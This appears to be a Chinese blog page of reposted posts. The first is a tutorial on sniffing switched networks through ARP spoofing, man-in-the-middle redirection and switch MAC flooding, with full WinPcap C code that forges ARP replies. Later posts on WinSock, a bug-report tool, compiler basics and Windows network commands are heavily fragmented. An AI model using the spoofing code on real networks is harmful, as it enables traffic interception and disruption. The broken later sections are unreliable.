| 個人檔案飘零风雨亭部落格清單 | 說明 |
|
|
1月10日 交换网络中的嗅探和ARP欺骗(转载)交换网络中的嗅探和ARP欺骗(转载) Monday, 20. March 2006, 03:19:46 嗅探, Sniff, ARP, Mac
以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现
网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。 ARP缓存表 假设这样一个网络: ——————————
| HUB | —————————— | | | | | | | | | HostA HostB HostC 其中
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC 假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic 这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的
ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记 录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接 收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。 因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。 集线器网络(Hub-Based) 很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播
到Hub的所有端口上。 这就是上面举例中的一种网络结构。 现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记
录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并 且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输 到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。 正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。
因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。
交换网络(Switched Lan) 交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面 例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。 ARP欺骗( ARP spoofing) ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存
进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应 答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地 址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不 知道被伪造了)。 现在A机器的ARP缓存更新了:
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic 这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是 DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!! 这就是一个简单的ARP欺骗。
我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/)
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。 ///////////////////////////////////////////////////////////////////////////////
// // ARP Sender // // Creator: Refdom // Email: refdom@263.net // Home Page: www.opengram.com // // 2002/4/7 // //////////////////////////////////////////////////////////////////////////////// #include "stdafx.h"
#include "Mac.h" //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了 #include <stdio.h> #include <Packet32.h> #define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */ #define EPT_RARP 0x8035 /* type: RARP */ #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */ #define ARP_REQUEST 0x0001 /* ARP request */ #define ARP_REPLY 0x0002 /* ARP reply */ #define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{ unsigned char eh_dst[6]; /* destination ethernet addrress */ unsigned char eh_src[6]; /* source ethernet addresss */ unsigned short eh_type; /* ethernet pachet type */ }EHHDR, *PEHHDR; typedef struct arphdr { unsigned short arp_hrd; /* format of hardware address */ unsigned short arp_pro; /* format of protocol address */ unsigned char arp_hln; /* length of hardware address */ unsigned char arp_pln; /* length of protocol address */ unsigned short arp_op; /* ARP/RARP operation */ unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */ unsigned char arp_tha[6]; /* target hardware address */ unsigned long arp_tpa; /* target protocol address */ }ARPHDR, *PARPHDR; typedef struct arpPacket
{ EHHDR ehhdr; ARPHDR arphdr; } ARPPACKET, *PARPPACKET; #pragma pack(pop)
int main(int argc, char* argv[])
{ static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600]; char MacAddr[6]; LPADAPTER lpAdapter;
LPPACKET lpPacket; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i; //Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = AdapterName;
temp1=AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == '\0') { memcpy(AdapterList,temp1,(temp-temp1)*2); temp1=temp+1; i++; } temp++;
} AdapterNum = i;
for (i = 0; i < AdapterNum; i++) wprintf(L"\n%d- %s\n", i+1, AdapterList); printf("\n"); //Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]); //取第一个网卡(假设啦) if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{ nRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", nRetCode); return 0; } lpPacket = PacketAllocatePacket();
if(lpPacket == NULL) { printf("\nError:failed to allocate the LPPACKET structure."); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{ printf ("Get Mac address error!\n"); } memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{ printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址) ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP); ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(ARP_REPLY); if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{ printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{ printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址 memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60); if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{ printf("warning: Unable to send more than one packet in a single write!\n"); } if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{ printf("Error sending the packets!\n"); return 0; } printf ("Send ok!\n");
// close the adapter and exit
PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter); return 0; } 于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……
以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能 够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中 进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础 中我们就能够做到。 对目标进行ARP欺骗 就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正 好是B能够接收到A发送的数据包了么,嗅探成功。 A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送 给C的数据包可没有转交给C。 做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由 器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。 直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为 是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥 梁了。 对Switch的MAC欺骗 Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学 习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧 的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1 口输出,而不会从其它的口输出。 跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来
不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的 MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对 应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。 但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,
让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。 对Switch进行Flood 就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端
口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果 能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基 本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。 存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。 对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换 机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。 至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用
arp -s 来进行静态ARP的设置。 11月25日 WinSock学习笔记(转载)网上看到这篇文章觉得总结得不错,故转载 具体内容也可参见本回复
爱心战士 --------------------------------------------------------------------------------
Socket(套接字) ◆先看定义: ◆Socket有五种不同的类型: 1、流式套接字(stream socket) 2、 数据报套接字(datagram socket) 定义: 3、原始套接字(raw-protocol interface) 定义: ◆Socket开发所必须需要的文件(以WinSock V2.0为例): 头文件:Winsock2.h 库文件:WS2_32.LIB 动态库:W32_32.DLL 一些重要的定义 1、数据类型的基本定义:这个大家一看就懂。 ◆ 旧的网络地址结构的定义,为一个4字节的联合: ◆ 新的网络地址结构的定义: 3、 套接字地址结构 (1)、sockaddr结构: (2)、sockaddr_in结构 ◆ 将常用的用点分开的IP地址转换为unsigned long类型的IP地址的函数: ◆ 如果将sin_addr设置为INADDR_ANY,则表示所有的IP地址,也即所有的计算机。 4、 主机地址: 先看定义: 5、 常见TCP/IP协议的定义: 套接字的属性 为了灵活使用套接字,我们可以对它的属性进行设定。 1、 属性内容: 2、 读取socket属性: optname为读取选项的名称 3、 设置socket属性: 用法: 套接字的使用步骤 1、启动Winsock:对Winsock DLL进行初始化,协商Winsock的版本支持并分配必要的 LPWSADATA为初始化Socket后加载的版本的信息,定义如下: wVersion=2 表示加载版本为2.0。 该函数使用方法: 2、创建套接字:(服务器端和客户端) 3、套接字的绑定:将本地地址绑定到所创建的套接字上。(服务器端和客户端) 用法: 4、 套接字的监听:(服务器端) 5、套接字等待连接::(服务器端) 用法: 6、套接字的连结:将两个套接字连结起来准备通信。(客户端) 用法: 7、套接字发送数据:(服务器端和客户端) ◆这里讲一下这个发送标记,下面8中讨论的接收标记也一样: flag取值必须为0或者如下定义的组合:0表示没有特殊行为。 用法: 8、 套接字的数据接收:(客户端) 用法: 9、中断套接字连接:通知服务器端或客户端停止接收和发送数据。(服务器端和客户端) 10、 关闭套接字:释放所占有的资源。(服务器端和客户端) 用法: 与socket有关的一些函数介绍 1、读取当前错误值:每次发生错误时,如果要对具体问题进行处理,那么就应该调用这个函数取得错误代码。 2、将主机的unsigned long值转换为网络字节顺序(32位):为什么要这样做呢?因为不同的计算机使用不同的字节顺序存储数据。因此任何从Winsock函数对IP地址和端口号的引用和传给Winsock函数的IP地址和端口号均时按照网络顺序组织的。 3、将unsigned long数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。 4、将主机的unsigned short值转换为网络字节顺序(16位):原因同2: 5、将unsigned short数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。 6、将用点分割的IP地址转换位一个in_addr结构的地址,这个结构的定义见笔记(一),实际上就是一个unsigned long值。计算机内部处理IP地址可是不认识如192.1.8.84之类的数据。 7、将网络地址转换位用点分割的IP地址,是上面函数的逆函数。 8、获取套接字的本地地址结构: 9、获取与套接字相连的端地址结构: 10、获取计算机名: 11、根据计算机名获取主机地址: 返回值为:hostent->h_name="xiaojin" Winsock 的I/O操作: 1、 两种I/O模式 2、select模型: 通过调用select函数可以确定一个或多个套接字的状态,判断套接字上是否有数据,或 ◆先来看看涉及到的结构的定义: fd_count为已设定socket的数量 B、timeval结构: ◆再来看看select函数各参数的作用: readfds:等待可读性检查的套接字组。 writefds;等待可写性检查的套接字组。 exceptfds:等待错误检查的套接字组。 timeout:超时时间。 函数失败的返回值: 举例:测试一个套接字是否可读: ◆I/O操作函数:主要用于获取与套接字相关的操作参数。 常见的命令: //确定套接字自动读入的数据量 3、WSAAsynSelect模型: 4、WSAEventSelect模型 使用步骤如下: b、将事件对象与套接字关联,同时注册事件,使事件对象的工作状态从未传信转变未 c、I/O处理后,设置事件对象为未传信 成功返回TRUE,失败返回FALSE。 d、等待网络事件来触发事件句柄的工作状态: 对事件数组中的事件进行引用时,应该用WSAWaitForMultipleEvents的返回值,减去 e、判断网络事件类型: f、关闭事件对象句柄:
bugreport//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx // flipcode@msn.com //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 有没有发现一些程序在出错时会弹出一个输入框供提交bug? 当你的程序公开使用后必然会出现各种不可预料的错误,如果能捕获并由用户提交回 来就非常有利于我们的除错。 这其实非常简单,下面我们先说一下大致流程,再给出一个bug提交可运作的实例 (这里提供网页提交及程序提交两种处理方法): 流程: a. 程序中在可能出错的地方使用异常处理, 在发布版本中打开异常捕获(自己的调试 版本可以不打开,以免调试不便)。 b. 当程序出错被捕获时弹出bug提交对话框,确定后调用bugreport把出错信息 c. 当发送失败时, 将信息累积保存下来供下次出现时一起提交或是由用户手 具体步骤如下: 二.制作上传工具(具体内容付带后面): 2. 程序提交: 该程序放客户端供运行, 如: c:\bugreport.exe 三.网站接收程序(具体内容付带后面): 五.bug提交 附: 2. bugreport.exe的内容 #pragma comment(lib, "wininet.lib") bool SendHttpData( const char * szIP, const char* szFile, const void* szData, int nLen ) // open internet: // open url: // open request: // send: printf("\nThe following was returned by the server:\n"); // close all: system( "pause" ); return (0 != nRes); int main(int argc, char *argv[]) SendHttpData( szIp, szFile, szData, nLen ); return 0; 3. Readbug.asp的内容: ' Send results back to client 注: 这里要感谢一下xum大哥,我最初是从他那里大体上知道这个方法的。
具体实现方法: #ifndef __CLASS__ #ifndef __FUNCTION__ #ifdef RECORD_BUG #ifdef X_CATCH_INFO #ifdef X_CATCH #ifdef X_ASSERT #else 2. map 映射法: 再一篇 "对“仅通过崩溃地址找出源代码的出错行”一文的补充与改进"中说明了使用Listing Files的方法,参见: http://www.vckbase.com/document/viewdoc/?id=1473 3. seh(结构化异常处理) 大法: flipcode 2004-12-5 14:09:29
编译器处理编译器处理: flipcode@msn.com 一.预处理器-编译器-汇编器-链接器 预处理器会处理相关的预处理指令,一般是以"#"开头的指令。如:#include "xx.h" #define等。 编译器把对应的*.cpp翻译成*.s文件(汇编语言)。 汇编器则处理*.s生成对应的*.o文件(obj目标文件) 最后链接器把所有的*.o文件链接成一个可执行文件(?.exe) 1.部件: 2.编译单个文件: 3.内部链接与外部链接:
1). 增强部件自身的完整性: 2). 减少部件之间的依赖性: 3). 双重包含卫哨: 5.待续(还有很多相关的东东,比如不同dll工程之间符号导出问题等等,有空再写) flipcode 2004-12-5 14:21:338月30日 windows网络命令大全[来源:http://spaces.msn.com/members/nirvanawjj/Blog/cns!1pXEgsAdtzKuzmRrcgOJ_1dg!130.entry] windows网络命令大全
Windows 2k/2003 Server 2.查看DNS、IP、Mac等 C.NSLOOKUP:如查看河北的DNS Non-authoritative answer: 3.网络信使 4.探测对方对方计算机名,所在的组、域及当前用户名 5.netstat -a 显示出你的计算机当前所开放的所有端口 6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址 7.在代理服务器端 8.在网络邻居上隐藏你的计算机 9.几个net命令 B.查看计算机上的用户帐号列表 net user D.记录链接 net session \\\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39 10.路由跟踪命令 11.关于共享安全的几个命令 12.在DOS行下设置静态IP Arp 语法 参数 arp -a 对于指派的 IP 地址为 10.0.0.99 的接口,要显示其 ARP 缓存表,可键入: arp -a -N 10.0.0.99 要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项,可键入: arp -s 10.0.0.80 00-AA-00-4F-2A-9C At 语法 at [\\\\ComputerName] hours:minutes [/interactive] [{/everyate[,...]|/nextate[,...]}] command] 参数 使用 at 加载 Cmd.exe cmd /c dir > c:\\test.out。 查看已计划的命令 Status ID Day Time Command Line Task ID: 1 Status:OK Schedule:Each F Time of Day:4:30 PM Command:net send group leads status due当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新键入该命令时让它少带些命令行选项。 查看结果 at 14:45 c:\\test.bat ^>c:\\output.txt 执行命令的当前目录为 systemroot 文件夹。 更改系统时间 存储命令 连接到网络驱动器 at 1:00pm my_backup \\\\server\\share 请不要使用下述语法(其中 x: ?表示由用户建立的连接): at 1:00pm my_backup x: 如果计划了一个使用驱动器号的 at 命令来连接共享目录,则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接,则在命令提示下,所指派的驱动器号将不可用。 范例 at \\\\marketing at \\\\corp 3 at \\\\corp 08:00 cmd /c "net share reports=d:\\marketing\\reports >> \\\\maintenance\\reports\\corp.txt" at \\\\marketing 00:00 /every:5,10,15,20,25,30 archive at /delete cmd /c dir > c:\\test.out。 语法 参数 使用重定向符号 rsh othercomputer cat remotefile >> localfile 以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中: rsh othercomputer cat remotefile ">>" otherremotefile 使用 rsh .rhosts 文件 .rhosts 文件是一个文本文件,该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制表符或空格分开,注释用符号 (#) 打头。例如: host7 #This computer is in room 31A .rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息,请参阅远程系统的文档。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 rsh vax1 -l admin1 telcon Tftp 语法 参数 Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客户端计算机提供远程引导功能。 tftp vax1 put users.txt users19.txt 语法 参数 下表列出了可能的 NetBIOS 连接状态。 状态 说明 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 nbtstat -a CORP07 要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表,请键入: nbtstat -A 10.0.0.99 要显示本地计算机的 NetBIOS 名称表,请键入: nbtstat -n 要显示本地计算机 NetBIOS 名称缓存的内容,请键入: nbtstat -c 要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目,请键入: nbtstat -R 要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册,请键入: nbtstat -RR 要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料,请键入: nbtstat -S 5 Netstat 语法 参数 Local Address Foreign Address (state) CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK LISTEN SYN_RECEIVED SYN_SEND TIMED_WAIT 有关 TCP 连接状态的信息,请参阅 RFC 793。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 netstat -e -s 要想仅显示 TCP 和 UDP 协议的统计信息,请键入下列命令: netstat -s -p tcp udp 要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID,请键入下列命令: nbtstat -o 5 要想以数字形式显示活动的 TCP 连接和进程 ID,请键入下列命令: nbtstat -n –o Runas 语法 参数 /user:ComputerName\\AdministratorAccountName 如果想以域管理员身份使用这个命令,键入下列参数之一: /useromainName\\AdministratorAccountName runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组(例如“Users”或“Power Users”组)的成员登录到计算机时,可以以管理员的身份运行。 runas /user:localmachinename\\administrator cmd 要使用名为 companydomain\\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例,请键入: runas /user:companydomain\\domainadmin "mmc %windir%\\system32\\compmgmt.msc" 要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例,请键入: runas /user:user@domain.microsoft.com "notepad my_file.txt" 要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例,请键入: runas /netonly /useromain\\username "command" 语法 参数 Destination route print 要显示 IP 路由表中以 10. 开始的路由,请键入: route print 10.* 要添加默认网关地址为 192.168.12.1 的默认路由,请键入: route add 0.0.0.0 mask 0.0.0.0 192.168.12.1 要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的路由,请键入: route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的永久路由,请键入: route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1 要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,跃点数为 7 的路由,请键入: route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7 要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,接口索引为 0x3 的路由,请键入: route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3 要删除目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由,请键入: route delete 10.41.0.0 mask 255.255.0.0 要删除 IP 路由表中以 10. 开始的所有路由,请键入: route delete 10.* 要将目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25,请键入: route change 10.41.0.0 mask 255.255.0.0 10.27.0.25 怎样在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server Windows2000是现在比较流行的*作系统,它的功能是很强大的,它甚至可以象Unix一样在命令行下做很多的工作。下面一种在命令行下更改ip地址的方法,现介绍给大家(括号里是一些注释,黑体字是人工录入的): C:\\>ipconfig (首先用ipconfig这个命令看一下更改之前的ip地址) Windows 2000 IP Configuration Ethernet adapter 本地连接: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.1.1.94 (本地连接更改之前的ip) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.1.1.254 C:\\>netsh (进入设置模式) netsh>interface interface>ip interface ip>set address "本地连接" static 10.1.1.111 255.255.255.0 10.1.1.254 interface ip>exit
set address - 设置指定的接口的 IP 地址和默认网关。 set dns - 设置 DNS 服务器模式和地址。 set wins - 设置 WINS 服务器模式和地址。
Windows 2000 IP Configuration Ethernet adapter 本地连接: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.1.1.111 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.1.1.254
在工作过程中会遇到在不同的网段中进行网络调试的情况,经常需要将机器在几个不同的IP地址中进行切换。在Win2000*作系统中改变IP地址较之Win98已经方便多了因为改完IP地址后不需要重启计算机,但还要进入网络属性设置中进行*作。有没 有再简便一点的方法呢,比如用鼠标双击一下快捷方式就可以实现IP地址的切换? 答案是肯定的。在Win2000中用netsh命令就可以实现这个功能。首先进入命令行模式(在“开始→运行”中键入“cmd”即可进入命令行模式),在提示符下键入netsh即可进入netsh的界面。再键入int ip进入接口IP的配置模式,键入dump则列出接口IP配置信息: C:\\Documents and Settings\\Administrator>netsh 快速切换IP地址有绝招 2
到命令行模式下用netsh直接试一下。比如要将本机的IP地址改为192.168.0.7,子网掩码为255.255.255.0,可以进行以下*作: C:\\Documents and Settings\\Administrator>netsh 从以上显示中可以看到已经成功实现了在Win2000中用命令行方式来改变IP地址。用这种方式改变IP地址甚至还没有在图形界面中*作来得快。不过我们再用脚本帮一下忙,离胜利目标就不远了。首先打开记事本,输入以下内容: int ip 然后保存为一个名为“7.sh”的文件,放到C盘根目录下,再进入命令行模式,在C盘根目录下键入“netsh exec 7.sh”,好像没什么反应啊?不过再用ipconfig查看一下,会发现IP地址已经改过来了。 最后再用记事本写一个批处理文件,命名为“7.bat”,内容为“netsh exec 7.sh”。为该文件在桌面上创建一个快捷方式,这样双击该快捷方式即可实现IP地址的快速改变。如果要快速在192.168.0.5、192.168.0.7等相同网段IP地址间进行切换的话,只需要改变“addr”后面的地址即可,但是要将IP地址改 为如172.19.96.7之类不同网段的IP地址,就需要将网关信息一起改变,也就是在脚本文件中加入一行关于网关的信息: int ip 同样地将以上内容存为脚本文件,再做成批处理文件执行一下,用ipconfig/all命令检测一下,发现包括网关在内的信息也修改过来了。这是不是既快又方便,IP地址想换就换? WINS NetSh 命令 accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导 acsetups.exe > ACS setup DCOM server executable actmovie.exe > Direct Show setup tool 直接显示安装工具 append.exe > Allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据 arp.exe > NETWORK Display and modify IP - Hardware addresses 显示和更改计算机的IP与硬件物理地址的对应列表 at.exe > AT is a scheduling utility also included with UNIX 计划运行任务 atmadm.exe > Displays statistics for ATM call manager. ATM调用管理器统计 attrib.exe > Display and modify attributes for files and folders 显示和更改文件和文件夹属性 autochk.exe > Used to check and repair Windows File Systems 检测修复文件系统 autoconv.exe > Automates the file system conversion during reboots 在启动过程中自动转化系统 autofmt.exe > Automates the file format process during reboots 在启动过程中格式化进程 autolfn.exe > Used for formatting long file names 使用长文件名格式 bootok.exe > Boot acceptance application for registry bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer. 通报启动成功 calc.exe > Windows Calculators 计算器 cdplayer.exe > Windows CD Player CD播放器 change.exe > Change { User | Port | Logon } 与终端服务器相关的查询 charmap.exe > Character Map 字符映射表 chglogon.exe > Same as using "Change Logon" 启动或停用会话记录 chgport.exe > Same as using "Change Port" 改变端口(终端服务) chgusr.exe > Same as using "Change User" 改变用户(终端服务) chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter 磁盘检测程序 chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盘检测程序 cidaemon.exe > Component of Ci Filer Service 组成Ci文档服务 cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions. 在NTFS上显示或改变加密的文件或目录 cisvc.exe > Content Index -- It`s the content indexing service for I 索引内容 